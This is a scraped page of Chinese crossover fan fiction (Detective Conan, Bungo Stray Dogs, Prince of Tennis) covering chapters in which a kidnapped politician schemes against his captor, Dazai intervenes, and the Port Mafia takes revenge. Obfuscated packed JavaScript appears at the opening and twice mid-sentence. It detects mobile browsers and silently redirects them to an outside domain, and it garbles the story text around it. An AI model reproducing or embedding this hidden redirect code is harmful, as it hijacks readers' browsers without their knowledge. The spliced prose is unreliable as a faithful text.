l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14253409|151388||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 相关人士牵扯进来,但是没办法了,只有这个人能救於菟前辈了…… …… 现场—— “於菟这家伙最近是火运太旺了吗,怎么还没过几天就又遇上炸弹了!” 接到消息的松田阵平和萩原研二一路狂飙着警车来到案件现场,两人换好防爆服后也不敢轻易突击进楼里,唯恐穷凶极恶的歹徒走投无路的话真来场炸成烟花的同归于尽。 松田阵平也是忍不住对太田於菟的运势气到不能行,这遇上炸弹的频率怕是都能和他们拆弹队出勤率持平了,而且……都说了多少次当选议员后你要注意你的人身安全问题啊,总是一幅不当回事的样子这下栽了吧你这只臭小老虎! 萩原研二问向小田切敏郎,上层那边的决议进展怎么样了,到底什么时候能把那一亿日元送到现场,无论如何保障太田於菟的人身安全是第一位的。 然而小田切敏郎只能无奈地摇摇头,表示高层那边还在就这个问题讨论中。 尽管很想破口斥责都这种时候了还讨论个什么讨论,能有什么比人命更重要的吗!但松田阵平和萩原研二还是克制住了,其中的弯弯绕绕权力掣肘他们也并非完全不懂,如果这个时候闹起来的话只会让太田於菟的处境更不利。 突然,后方传来了一阵全速开来的车声,在场的众人下意识回头,只见几辆高级轿车停了下来,就这么突然闯入现场。 小田切敏郎刚想呵退到访者,案发重地闲人免靠近,便看到巨势弥一率先从其中一辆轿车上跳了下来往这边冲,同时挥舞着手中的证件表明身份和来意: “我是太田议员的秘书巨势弥一,我们这里准备好一亿日元了!可以和歹徒进行谈判!” 接着,只见轿车上又下来了一个身姿挺拔的男人。 男人仿佛天生自带光环一般,一出场就成为所有人瞩目的焦点。 松田阵平认出了来者是谁,虽然他一向不怎么喜欢这小子浮夸的做事风格,不过……这次,浮夸得正好。 一直高度紧张担忧着的萩原研二也总算稍稍松了口气,调侃道: “诶呀,小於菟的财力金手指来了。” 小田切敏郎迎上突然到访的这批人……是的,一批,这几辆轿车里又哗啦啦走下不少黑衣保镖,跟在男人的身后两侧。 “我是迹部景吾,太田於菟的亲友,这一亿日元的赎金,我出了。” …… 冲野洋子演唱会现场—— 演唱会已经接近尾声了,然而直到现在,琴酒也没等到约他在这儿见面的人,只等到了…… “大哥!我来了!刚刚我终于找到黄牛买到票了!” 一阵又一阵喧闹的应援浪潮中,琴酒等来了伏特加的那张脸。 “大哥,森於菟那小子呢?已经走了吗?” 琴酒继续保持冷脸抱肩坐的酷哥样,不想说话。 “对了,大哥,这张票黄牛卖得还蛮贵的,这也属于任务所需资金,组织应该能报销的吧……大哥,你怎么了,大哥你怎么不说话啊?” 14.失忆第十四天 Chapter 14 环球出差了快两个月的迹部景吾一下飞机,就发现手机上一串的未接来电,全都是巨势弥一打来的。 心中顿感不妙,而他还没来得及回拨过去,巨势弥一便又打过来了。 当巨势弥一简明扼要地向他阐明了情况后……不必多说,用最快的速度前往案件现场,东京的地面交通太拥堵了那就直接上私人直升机降落在离案件现场最近的可停机处,并且在他降落时接应的车子以及一亿日元现钞通通准备好! 速度且高效地打理好一切后,迹部景吾如同君王莅临般打了个响指: “好了,资金已经到位,请务必派出一位经验丰富的谈判专家前往交涉,歹徒如果想涨赎金也无妨,保障太田议员的安全是第一位的,明白了吗,啊嗯?” 小田切敏郎:“……” 现场的总指挥官应该是我才对吧! …… “一亿日元已经准备好了!按照之前你提出的要求,我们会派一个人带着赎金上去见你,在此期间不要对人质进行伤害!没有意见的话,三分钟后,我们就派人进楼了!” 听到楼下的喊话,楼里此刻还清醒着的两个人表情各异。 小野此刻更加心焦,因为直到现在他都还没有收到前去横滨挖金子的部下反馈给他的消息……到底怎么回事,难道那些该死的家伙真的把黄金全都昧下了!宁可冒着被他变成石头的风险也要背叛他吗! 太田於菟面上没有表露出太多声色,只是微微皱了下眉头……这比他想得要快啊,按照他的预计,现在政府那边应该还在为赎金的问题内部扯皮才对,难道有高手? 那么,没办法了,行动提前,三分钟,或者至多五分钟内,解决掉一切。 而此刻楼下,在场的人为应该由谁提着赎金去谈判而争论了起来。 松田阵平一把提起了装满万元钞票的黑皮箱,“当然是我去!楼里被歹徒安装有炸弹,我是爆.炸.物处理班的,如果遇到极端状况我还能有所应对!” 萩原研二伸手试图夺过箱子,“不行!你今天白天已经超负荷量工作了,还是让我去吧,你留下来待命配合我!” 小田切敏郎直接按下两人的手,“这种事情要交给谈判专家!政府委托的谈判专家马上就到,你们两个都留在楼门口保持待命状态!” 一旁的迹部景吾听到接下来的谈判要交给政府召来的人,更加不放心了……虽说专业的事情要交给专业的人来做,但是政府那迟迟拿不出赎金的态度,显然政府里有的是人并不想要於菟安全归来。 怎么能把於菟的性命交到意图难辨的人手里? “一会儿的谈判专家靠谱吗,要不还是我这边出个专业人士吧。” 迹部景吾说话间就要拿出手机摇人。 小田切敏郎简直要炸……我才是现场指挥官!有没有人听我的啊!一个个都在擅作主张个什么啊! 就在这时,一道声音猝不及防地插入—— “还请诸位放心,赌上武装侦探社的信誉,谈判专家使命必达。” 众人猛然间转身,只见一伙人不知何时已经站在了他们的后方,不知道从什么时候起就开始旁观了。 而江户川柯南在帮忙追踪到现场后便因为作为“小孩子”而插不上手,只能在一旁干着急,在听到“武装侦探社”后,顿时心下一喜,满是期待地看过去…… 啊,乱步先生没有来啊。 武装侦探社三人组登场,站在中间的太宰治还维持着刚刚报上名号时摆的pose,右侧的中岛敦礼貌地向小田切敏郎问好,左侧的国木田独步则是取出了自己的工作证件表明身份: “我们是武装侦探社的社员,接到政府委托,前来同不法分子交涉以救出被绑架的太田议员。” 横滨武装侦探社的名号这些年在业内是愈发响亮,以高质量完成政府与军方的高难度委托而著称,在场的人多多少少也都对这家特殊的侦探机构有所耳闻。 而就在众人以为将要前去谈判的是这位看起来就格外可靠的戴眼镜男士时,却见三人中怎么看都是最不靠谱的那位拎起了装满钞票的黑皮箱,甚至嘴里还喋喋抱怨着: “诶,好沉啊,太田议员真的值这么多钱吗?” 在被现场人士群起而攻之前,太宰治一溜烟儿地就往前方的大楼里蹿了,挥了挥手道: “放心,放心,会让太田议员平安归来的……唔,四肢完好的程度还是能做到的。” 国木田独步不担心太宰治的能力,但他担心太宰治的态度,无论如何这可是一桩政府下达的重大委托: “喂,太宰!不许乱来,不许让侦探社的招牌蒙羞啊!” 中岛敦因为年少时的经历而总是对他人的情绪、情感格外敏锐,他直觉太宰先生似乎对太田议员带有很浓重的负面情绪,想到之前交流横滨地区选举有投票给谁时,太宰先生就说对太田议员很不爽…… 不不不,太宰先生应该不会把个人情绪带到工作中吧。 …… 与此同时,楼上—— “你,你说什么……” 小野看向戳破了自己痛点的人,手足无措间更加虚张声势地吼道: “不可能的!除非他们不要命了才敢背叛我!我随时都可以发动我的异能力把他们给……” “谁知道呢,也许他们是在赌在被你异能控制前,你就已经被警方解决掉了。毕竟就算老老实实听你的话,这些黄金你也并不打算分给他们吧。更何况,他们说不定还在赌另一件事……” 太田於菟诡秘地笑了笑,那双幽紫色眼眸中的神采让小野看得直发颤,仿佛被对方勒住了脖颈一般窒息。 “他们还在赌……其实,你并非异能力者,只是在拿你兄长是异能力者的事情虚张声势。你,根本从来就没有在他们面前展现过自己的异能力吧。” “你,你在胡说八道些什么啊!你怎么就敢断定……” “我当然敢断定,并且我从一开始就知道,你,绝对不是异能力者。”太田於菟笃定地说道,接着,仿佛猎人看着落入陷阱的猎物,享受着那份从一开始就占据主导的快感,“因为,我才是真正的异能力者啊,所以你兄长当初才会找我合作。” “什,什么意思……” “看来你兄长对你保护或者防备得很到位呢,没有告诉你那个在异能力者之间公开的事情……知道吗,异能力者彼此间是有感应的,所以你若真的是异能力者的话,在你第一次靠近我的时候,我就会知道了。懂了吗,冒牌异能力者先生?” 太田於菟语带嘲讽,明明他此刻是被绳索束缚的人,却仿佛他才是那个牵绳者,从一开始就是。 被戳破了自己的伪装,小野彻底心神大乱,因为见识过兄长的异能力,他对异能力者一直都有一种畏惧感: “那,你的异能力是什么?” “呵呵……”太田於菟低哑地笑了笑,而每一声轻笑都仿佛把小野的心脏更加捏紧了一分,“知道我为什么引诱你靠近我,然后借机在脖子上咬那一口吗?” 下意识地摸向自己脖子上被咬的那处,小野总觉得似乎更疼了,惶恐不安地摇了摇头。 “因为,我需要你的血来完成我的诅咒仪式啊。” 太田於菟笑得更添几分阴暗的欢乐,阴影落在他的脸上,让那双紫色的眼珠更显得瘆人: “看过《Naruto》吗,我的异能力和《Naruto》里的飞段差不多吧。只要我能够采集到敌人的血,那么一旦我受到了伤害,敌人也会受到同等的伤害,但我的身体是不会因为来自外部的损害而消亡的……也就是说,我可以进行‘自杀’或者诱导你来‘杀’我,但死掉的只会是你啊,我的话最多也就会觉得有点痛啦。” 说罢,太田於菟伸出舌尖轻轻舔舐了下唇角,似乎是在回味着之前品尝到鲜血时的美味,而那鲜血便是他向对方施下的永恒束缚。 小野瞬间跌坐在地板上,浑身颤抖……这个异能力实在是太不要脸了!他到底是惹上了怎样的一个疯子啊! “你,你到底想要怎么样,你的目的……” “你说呢,小野君?我一直在这里陪你玩耍,当然也是在等一个结果啊。” “也在等结果?”小野琢磨着这句话,结合自己的状况,瞬间恍然大悟:“难道……原来如此,原来如此,今晚从一开始就是你设的局!你是故意被我绑架的!” 想明白了是怎么一回事后,小野顿感寒意刺骨,仿佛失去了所有的力气,这种完完全全被人把玩在股掌中的感觉。 对方这副样子似乎让太田於菟愉悦到了,笑得更加欢乐: “是啊,这件事情已经困扰我很久了,感谢你们帮我解决难题。那间安全屋所在的区域不久前被划归成了港口黑手党的地盘,他们不知道从何处得知了那片区域里藏匿有黄金的事情。所以,我需要有人帮我在港口黑手党的眼皮子底下把黄金转移出去。 我在安全屋里藏了一部分金条,价值大概也就一亿日元吧,稍微动动脑筋的话也不难找到,希望你的部下们汇集智慧能够做到这一步。待到你的部下们拿着这批金条离开却被港口黑手党逮到黑吃黑,进而港口黑手党以为已经拿到藏匿的黄金后,不再紧盯着那块地方,我就可以前去转移剩下的黄金了。 我在安全屋里建了个地下密室,密室里藏着的金条……价值足足有七十亿日元哦,哈哈哈哈!我累死累活地在政界工作多久才能赚到七十亿啊,守着这堆保值的大金条幸福地过完下半生不好吗?” 小野越来越觉得自己在看一个疯子,一个明明把他算计了却让他无力抵抗的疯子: “所以,你是不是还要利用我 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14263116|151388||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,给你造一出假死的戏码?” “嗯,理解得很快嘛,小野君,看来我没有选错合作者。放心,我也不会让你白出力气的,金条我会分一部分给你,保你余生无忧。”太田於菟给出了自己的承诺,说着招揽的话时,整个人带着难以言喻的蛊惑感,“毕竟,如今我们可是结成命运的共同体了。” 心脏跳动又抽动得厉害,小野不觉得这个男人会这么好说话的分自己金条,但也不知道该如何是好,毕竟主动权已经不在自己手上了,不,是从来就没有在过。 “那,接下来,要怎么做?” “很简单,先离开这里,就按照你原本计划得那样,以我的性命相威胁让他们为我们准备好撤退用的交通工具,毕竟我脖子上还套着这个宝石项圈不是吗,异能力者先生?”太田於菟继续蛊惑着,侵袭着对方的大脑,“只要你相信你是异能力者,那么你就是,想要骗过其他人就要先骗过自己,能做到吗,嗯?” “哦,哦……”小野怔怔地点了点头。 “很好,那么,我们开始吧。” 小野走近两步,就在打算拽着太田於菟到窗户口,再次对下面的警察下威胁时…… “啪——!啪——!” 一阵突如其来的掌声响起。 不光是小野,太田於菟同样惊讶地朝房间门口看去,刚刚明明没有听到有人上楼的脚步声,却不知何时有一个人已经站在了那儿。 “说得好,想要骗过其他人就要先骗过自己,不愧是於菟呢,真是一出精彩的欺诈剧。” 太宰治笑眯眯地鼓掌说着,随即又对着小野叹气表达怜悯: “这位歹徒君,政客可是以虚伪而著称的哟,怎么能相信政客嘴里的话呢……如果你刚刚按照太田议员说的做,你现在大概已经‘嘣!’地一声被一枪毙命了呢。” 他才不担心森於菟的安危呢,所以压下脚步声用最快的速度上楼后,他一直都躲在暗处旁观。 真是久违了啊,森於菟大少爷的欺诈剧。 当初在港口黑手党的时候,他犯下的那六百多起诈骗案,其中有一半都是和森於菟合作的。 於菟嘴里的话,一个字都不能信呢。 还差最后一步就能成功的剧本突然被撕掉,而且坏自己好事的偏偏还是个自己大概率有所亏欠的人,太田於菟此刻的心情简直复杂极了。 是报复,一定是报复,太田於菟百分百肯定这个男人一定是故意报复他……等等,为什么这个男人会在这里?! 这时,仿佛是实时解惑一般,太宰治冲着初次见面的歹徒小野氏做着自我介绍: “你好,我叫太宰治,是武装侦探社的社员,受政府委托作为谈判官前来与你交涉。关于处理太田议员一事,嗯……请你放心大胆地宰掉他吧,我会想办法把现场伪造成一起意外事故的,依照日本当前法律,这种程度是上升不到死刑的。” 太田於菟:“……” 我曾经到底是把你怎么了啊太宰君!虽然我可能也许大概率渣过你,但罪不至死吧!你这么想让我去死的吗! …… 冲野洋子演唱会现场—— 演唱会终于结束散场了,一身黑气的琴酒走出了场馆,连伏特加都不敢近身。 伏特加敢肯定,大哥心里肯定已经把森於菟那个臭小子用伯.莱.塔嘣得千疮百孔了。 大哥干得漂亮! 顺便帮他也嘣一枪万一他买的黄牛票组织不给报销怎么办,他总不能跑到港口黑手党的大楼前要债吧! “等一下,伏特加。” 就在伏特加打算开车门时,被琴酒制止了。 接着,从车外部一个极不显眼的地方揪出了一枚追踪定位器,和之前日本公安使用过的是同一款。 “哼,今晚果然有老鼠尾随啊。” 琴酒冷笑道,以及,毫无疑问,组织内部一定混进有日本公安的卧底。 是时候再肃清一遍了。 伏特加:“这么说,那个臭小子是察觉到了今晚有日本公安潜伏尾随,所以才没有现身吗?” 琴酒:“哼,他最好是。” 不远处一辆不起眼的轿车里—— 风见裕也全程关注着那辆保时捷附近的动态,在看到琴酒拔除追踪定位器的举动后,也是懊恼地叹了口气,明明他都已经安装得那么隐蔽了,结果还是被发现了。 当即向上司汇报现场进展。 “降谷先生,定位器被发现了,无法进行追踪。今晚我们在场内潜伏的同事反馈,没有人前来和琴酒接头,琴酒全程都只是坐在那里听演唱会……可能他真的很喜欢冲野洋子,真的只是单纯来听演唱会的吧。” 至此,日本公安内部关于黑衣组织的绝密档案跟进补充一笔—— 【代号琴酒,组织高级骨干,疑似冲野洋子忠实粉丝】 15.失忆第十五天 Chapter 15 “从一开始,太田议员就知道歹徒君你宣称自己有异能力是在说谎啦,毕竟无论是你的表情细节还是肢体语言对于太田议员来说都堪称演技拙劣,要知道太田议员可是真正的行骗高手呢。” “至于太田议员之后说的什么藏有金条的安全屋、血之诅咒异能力、异能力者之间能够相互感应什么的,通通都是在诓你的啦,全都是他为你编造的骗局啊。” “从他了解到你是为了A的财富而绑架他开始,他的目的就有且只有一个……不能让你活着离开这里。” “但是,但是,堂堂议员怎么能明目张胆地动手杀人呢,就算是演一出‘过失杀人’也还是容易留下遭舆论非议的潜在危机呢,所以他需要借他人之手光明正大地除掉你。” “他一直在潜意识地引导你认为你们彼此间是利益共同体,并且一步步成为共同体中主导的一方,尤其是之前两次打开窗子面对警察的时候,他都指导你精准地避开狙击手的枪口,那么第三次会怎样呢?也就是刚刚,只要你一打开窗子,你就会在他又一次的指导下完全暴露于狙击手的枪口中,与此同时他会故意做出极度痛苦的样子,逼得狙击手果断开枪击毙你。” “整个计划是这样没错吧,太田议员?” 滔滔不绝地把整个剧本都给撕完后,太宰治甚至还专门笑眯眯地向剧本作者求证。 太田於菟:“……” 你这都说完了还让我说什么呢? 原来我今天最大的劫难不是遭遇绑架,而是遇上你啊太宰君。 太宰治甚至还不忘对着已经彻底懵了的小野继续补充说明: “啊,对了,歹徒君你也不用等你的手下们给你反馈消息了,你的那些手下现在大概已经被港口黑手党丢到大海里喂鱼了。” 太田於菟:“……” 为什么你连这个都会知道啊太宰君! 他之前之所以报出“横滨市舄浜町4丁目9-49-449号”这个地址,是因为前两天他在收拾自己书房的时候,发现了一份关于横滨安全管控问题议案的文件,其中被自己夹了一页横滨局部地图,地图上自己圈出了这个位置,并且在旁边用铅笔备注了【PM】。 一提到“横滨”和“PM”,那必然指的是Port Mafia,这大概率是那伙黑恶势力的据点之一,所以才会被他放到这份关于横滨安全管控的文件里。 既然如此,就让小野的那些下属冒冒失失或者绞尽脑汁地闯进去给Port Mafia送人头吧。 然而现在,他的计划只差最后一步,明明只差最后一步……不行,他必须要做最后一搏! “小野君,这么轻易就被别人的三言两语动摇了吗,要好好想清楚哦,现在,你的性命就把握在你自己的手上。” 太田於菟继续面不改色地循循善诱着,然而言语间却是赤.裸裸的威胁。 对面的太宰治则是继续唱反调打擂台: “歹徒君,现在醒悟过来的话还来得及哟,就算你自己没有好下场也不能让胁迫你的太田议员好过,是不是?” 小野茫然地在这两人之间来回转头看来又看去,他感觉自己的大脑仿佛都要被这两个人扯成两半,根本就没办法思考了! 到底,到底该相信谁…… 自己的命运,自己真的能把控吗…… “小野君,快点,来我这边,不然我现在就发动血之诅咒异能力,你真的会死哦。” “歹徒君,再信他你可就真的会没命哟,不然你就让他现场表演一下嘛,看看他到底有没有那种异能力,反正结果无非是有或没有,赌赢的几率高达百分之五十还是很划算的~” “呵,你以为我真的不敢动用我的异能力吗?” “哦呀,那你倒是用啊,我也想欣赏一下现实版的‘飞段’是什么样子呢。” “我真的会动用的,真的会的!” “动啊动啊~” “别逼我!异能力——” 打断两人隔空打嘴仗的,是突然响起的“啪——!”的一声脆响,仿佛有什么东西突然在小野的脑袋边炸了一下,然后……本就大脑陷入了有生以来最纠结最糨糊状态的小野,就这么被突如其来的炸响声,惊吓得当场昏了过去,直接倒地不起。 “啊呀,於菟你终究还是用了异能力吓他啊。”太宰治耷拉着眼睛看向已经厥过去的歹徒,接着又看向太田於菟时,觉得有些好笑,“你干吗也摆出那副被吓到的表情?” 太田於菟:“……” 我是真的也被吓到了好吗! 刚刚发生了什么?!“啪——”的那一声响是怎么回事?!我刚刚明明什么也没干只是装模作样地喊了声“异能力——”来吓唬人…… 我竟然还真的是异能力者?!!! 冷静,冷静,太田於菟,稳住,不能露馅啊! 太田於菟努力让自己的表情转为刹那间的无措与茫然: “我,没想要这样的……” 太宰治面无表情地点了点头: “对,你本来是想要他死的。” 太田於菟:“……” 这人到底会不会说话啊!这还让他怎么接话怎么继续演下去! “诶?难道不是吗?於菟你难道不是从一开始就设定好了要让这位歹徒先生无法活着离开这里的目标吗?” 面对太宰治语气轻佻却又无形间咄咄逼人的调侃,太田於菟终是沉默了。 这一点,他的确没办法否认。 他不知道曾经的他是否真的同小野那个被称作“A”的兄长有过什么不可告人的交易,但是……他不可以有。 如果有,那就把能证明他有的人证物证全部销毁掉。 一旦被爆出身为国会议员的他曾与地下赌庄老板牵扯不清,甚至涉及巨额不法资金交易,那么他的政敌们一定会像毒蛇嗅到血腥味一样迅速咬上来,一定要把他彻底咬断气才肯松口,绝不会给他卷土重来的机会。 所以,小野必须在接受调查前死掉,并且不能是他动手。 “我没办法啊,太宰……” 太田於菟缓缓开口,幽紫色的双眸沉淀下的色泽沉郁得透不过一丝光亮: “我的境况,你明白的吧。一旦身处其间,便无法逃离……政治,从来都是你死我活的权力斗争。” 太宰治静静地注视了太田於菟片刻后,似笑非笑道: “你这样的家伙如果将来真的当了首相,那可真是这个国家的不幸。” 太田於菟:“……” 会不会说话啊!不会说话就别说!嘴巴跟抹了三氧.化二砷似的! 三十河东三十年河西,莫欺少年穷!等将来我当上首相后下达的第一条命令就是把你流放啊! “不过,森先生肯定会帮你善后的,这家伙一会儿被抓回去后大概今晚就会暴毙在监狱里吧。”太宰治耸了耸肩,一副百无聊赖的样子,“好了,我也要收工了,现在都快零点了属于深夜加班时间,回去我还要额外申请百分之五十的加班费呢。” 太田於菟表面依旧波澜不惊,内心却已是惊涛骇浪,在再次听到“森先生”这个人时…… 然而还没来得及让他把对眼前这个男人的流放之心改为愧疚之心…… “啊,对了,差点忘了件事情。” 太宰治突然想到了什么似的,弯腰从小野身上摸出了一把枪,然后…… “这位小小姐要怎么办呢 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14268332|151388||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,万一她其实已经醒来在装睡,把刚刚的事情都听到了可就不好办了,要解决掉她吗?” 枪口对准了依旧躺在地上昏迷着的吉田步美,无论是语气还是眼神都是足以令人战栗的阴鸷,仿佛一瞬间将自己那俊美优雅的外皮撕掉,露出内里的浑浊黑暗。 “住手!太宰!” 太田於菟连忙叫停,制止对方的行径: “我看得出来,这孩子是真的还在昏睡中,而且退一步讲……小孩子又能听得懂多少呢,大人又会觉得小孩子的话有几分可信度呢。” 然而太宰治似乎来了兴致,不肯就这么算了,继续如同引诱人跃入深渊的恶魔般劝导着: “於菟刚刚不是还说,所处的境况容不得出现丝毫差池吗?放心,我会把现场伪造好的,会把小小姐的死算到这位歹徒先生身上的,让这二人一起带着於菟的秘密永远静默。虽然於菟当初抛弃了我,我也绝对不会原谅於菟,但是於菟遇到困难的时候,明明想要看於菟的笑话,身体却不受控地就是想要去帮於菟呢……” 这一刻,太田於菟是真的害怕了,差点就要当场哭出来, 鬼啊!!!这种被鬼缠上的感觉太恐怖了!!!曾经的我到底造了什么孽啊!!! 但是,眼下还有更重要的事情要做,太田於菟强行忍下快要涌出来的眼泪,再次呵斥住对方的举动: “我说了住手啊!到此为止吧,太宰!” “噗,於菟没有以前好玩了呢。”太宰治扮了个鬼脸,眨眼间就又切换回那副玩世不恭的样子,“放心,开个玩笑而已,我怎么可能对着一位小淑女开枪,毕竟我也不是什么魔鬼啊。” 太田於菟:“……” 不,我不信,你明明就是鬼啊!!! 懒洋洋地打了个哈欠,太宰治是真的打算收工回去补觉了: “好了,加班结束,让警察们上来认领你吧……嗯?等等……” 原本以为对方终于不再作妖了,太田於菟刚刚放下的心,瞬间又悬起来了! 他看着太宰治走到他面前站定,俯下身子近距离地打量着他,左看右看后…… “刚刚才和穷凶极恶的歹徒对峙了数个小时,还英勇地降服了歹徒,怎么能还是这副干干净净清清爽爽的样子呢,做戏要做全套啊於菟。” 太田於菟脑中一阵警铃大响,尤其是意识到自己直到此刻还被麻绳团着没有松绑,顿时更感不妙: “太,太宰,你先帮我松绑,之后的我自己解决就好……” 然而太宰治如果肯乖乖听话,那就不是太宰治了。 “都说了啊,我啊,身体控制不住地就想要去帮於菟呢……” 被捆着的太田於菟浑身冷汗直冒,当即如同一条不怎么灵活的毛毛虫般疯狂拖地式逃窜开来: “你不要过来啊!!!” …… 横滨港口—— 冰冷的海水浸泡着几个被灌水泥即将沉尸大海的倒霉蛋,正是小野那几个前来横滨淘金的下属。 金子没挖到,反倒把小命给挖没了。 堤岸上,森鸥外居高临下地注视着泡海水的这几人,仿佛在看死人。 森鸥外的左右两侧分别是中原中也和尾崎红叶,周围还有一圈骨干人员,港口黑手党高层集体亮出看死人的眼神为这几人送行。 “我的於菟似乎因为你们受了不少苦呢。” 似乎是在笑着,然而森鸥外却笑得比这深夜里的海水还要冰冷,被重力使操纵着还没有彻底沉海的几人顿时感觉心脏都被冻得骤停了。 “Port Mafia三大原则中的一条便是,被攻击了要加倍奉还,你们攻击的偏偏是我最宝贝的於菟呢。好了,中也君,动手吧。” 16.失忆第十六天 Chapter 16 “首领,已经派人去监狱里处理掉A的那个弟弟了,做得很干净。” 港口黑手党首领办公室里,中原中也向森鸥外汇报着事情的后续跟进。 森鸥外点了点头,表示赞许: “嗯,可以了,后续交给於菟自己发挥就行,他知道该怎么做的。” “那么,关于A的遗产问题,还需要调查吗?” “不必了,当初A的资产,一部分在他死亡当天被费奥多尔从游轮里直接拿走了,剩下的在此之前都被於菟骗去了。之后於菟用这笔钱在九州岛投资买地,九州岛这几年发展成了日本的新兴工业区,地皮价值翻倍上涨呢。” 说话间,森鸥外从书桌里找出了一张手制贺卡,超不经意地炫耀着: “诶呀,那孩子当时拿着一沓不动产证送给我,我都说了不要不要的,乖虎崽你自己留着花就好,但偏偏就是要送给我呢。” 一边说着一边超不经意地翻动着手中的贺卡,把里面亲手写的祝福语展示出来—— 【生日快乐爸爸,送你一点零用钱^O^】 中原中也:“……” 首领,你可以表现得再不经意一点。 …… 三年前,东京—— “好了,东西都在里面了,祝我们合作愉快。” 浅灰色头发的男人将一个文件袋递给了眼前的年轻人。 年轻人一身朴素的连帽衫搭运动裤,鼻梁上还卡着副大黑框眼镜,妥妥的普通大学生打扮。可即便如此,也无法遮掩那张漂亮得不可思议的脸蛋,而还挂着的那点婴儿肥又削弱了其棱角的锋利,看起来很是无害。 交易的双方,正是港口黑手党五大干部之一和港口黑手党首领之子。 传递文件袋的时候,A在触碰到森於菟的手时,相当自然地在其手背上摩挲了一把,带着满满的暗示意味。 而森於菟也没有表现出什么不满与抗拒,同样相当自然地接过文件袋,打开查看里面的东西。 “於菟君,同我合作是非常正确的决定。虽然森首领他很宠爱您,但是迄今为止他都没有表现出任何要将您确立为继承人的意思,甚至都没有在组织内部给您一个正式的职位头衔。” 森於菟点了点头,对对方的话语表示赞同:“的确,没有一个正式身份,我连培植自己的势力都很难。再多的宠爱有什么用,和对待宠物没什么区别,能够握在手中的权力才是真实可靠的。” “非常高兴您能够清醒地认识到这一点,可别忘记了,曾经的太宰治就是明晃晃的例子,被森首领害得不轻呢。不过,您无须担心,相信我,用不了多久,Port Mafia的权柄就会把控在我们的手中,您会成为我新的‘森首领’。” A凝视着森於菟,目光中的贪婪之意渐渐不再遮掩,就这么肆意地张扬蔓延开来。 他已经迫不及待地想要看到森於菟变成他掌中宝石的那天了,那一定会是最华美的紫色苏纪石。 而森於菟似乎也很期待对方口中所描绘的未来,微笑着说道: “希望那天很快就会到来,我的最高干部。” 交流完下一步计划与行动,A便匆匆告辞了,毕竟二人的联盟是瞒着港口黑手党所有人的最高机密,他今日来东京也是秘密赴会。 待到A离开后,森於菟笑得更加开怀,这次终于是直达眼底的笑意: “你要是再不克制一下自己的杀气,恐怕就要露馅咯。” 身后的灌木丛一阵簌簌的响声,戴着黑色礼帽的青年一脸阴沉地走了出来。 “好可怕的表情啊,中也。”森於菟转过身来看向对方,笑嘻嘻地调侃着,“笑一个嘛~” “嘁,刚刚我倒是真的想把那家伙的手剁下来。”中原中也一脸不爽,从口袋里拿出香烟和打火机舒缓下心情,“那个恶心的家伙还碰过你哪儿没有?” 森於菟怔了一下,有些不自在地别过头去,手指下意识地抚向自己的锁骨,“嗯……没什么,反正也只是为了任务……” “什么!”中原中也惊了,打火机的火苗都险些烧到他的黑手套,整个人周身象征重力的红光异能乍起,“那家伙都对你做了什么!” 眼见重力使大人仿佛下一秒就要飞过去把人当乐高积木拆个七零八碎,森於菟赶忙停下自己的玩笑: “不,不,不,我开玩笑的,中也,我怎么可能被那种家伙讨了便宜,全程都是我把他耍得团团转而已。” “这种玩笑不要开啊!” “中也不要打我……嘶,中也好暴力。” 森於菟揉了揉头顶被对方敲出的爆栗,老实了,不敢再皮了。 中原中也:“行了,说正经的,事情进展得怎么样了?” “差不多了,你们那边也可以考虑动手了,是时候让A从Port Mafia里出局了。”森於菟笑了笑,比划了下手中的文件袋,“这些年他背靠Port Mafia搞到的钱,是时候数倍反哺回来了,也算是让这位干部大人发挥下最后的价值。” “嗯,一切顺利就好……嗯?你盯着我的烟看什么?”中原中也注意到对方的视线,试探性地把自己手里的香烟盒向前递了递,“你要来一根?” “不,不。”森於菟连连摆手,一副对香烟退避三舍的样子,“带着一身烟味回去,会有损我五好大学生的形象的,我好不容易念到大学最后一年,可别让我的完美形象在最后时刻烂尾啊。” 中原中也似笑非笑地撇了撇嘴,“说实话。” 森於菟仰起脖子望天,一脸骄傲地表示: “我爸爸不让我抽烟!” 中原中也:“……”,嗯,不愧是你,首领的乖宝,Port Mafia第一爹宝男。 “我听爸爸的话怎么了!” 爹宝男森於菟继续表达自己的骄傲。 黑手党这种地方,烟、酒、纹身之类的东西再常见不过了,身为首领的森鸥外倒也并不对Port Mafia的成员们进行这方面的限制约束,但是作为父亲的森林太郎却是对儿子森於菟有着严格要求。 可以喝酒,但不许多喝,森鸥外每年都会陪森於菟喝一次酩酊大醉,好让森於菟心里对自己当前的酒量有个标准线,知道喝到什么地步就是危险警告了,而森於菟这些年的酒量一直都很菜,这点森鸥外很满意,并希望再菜一点。 不可以抽烟,作为一名专业医生,森鸥外非常清楚这项不良嗜好对身体的危害,而且一旦沾染上了烟草就很难戒掉了。为了警示森於菟,森鸥外甚至专门取来Port Mafia知名老烟枪广津柳浪的肺部体检CT片,并从专业医生的角度对这张肺部CT进行讲解,当场把森於菟吓得退避三舍。森於菟被吓得甚至一度在Port Mafia内部发 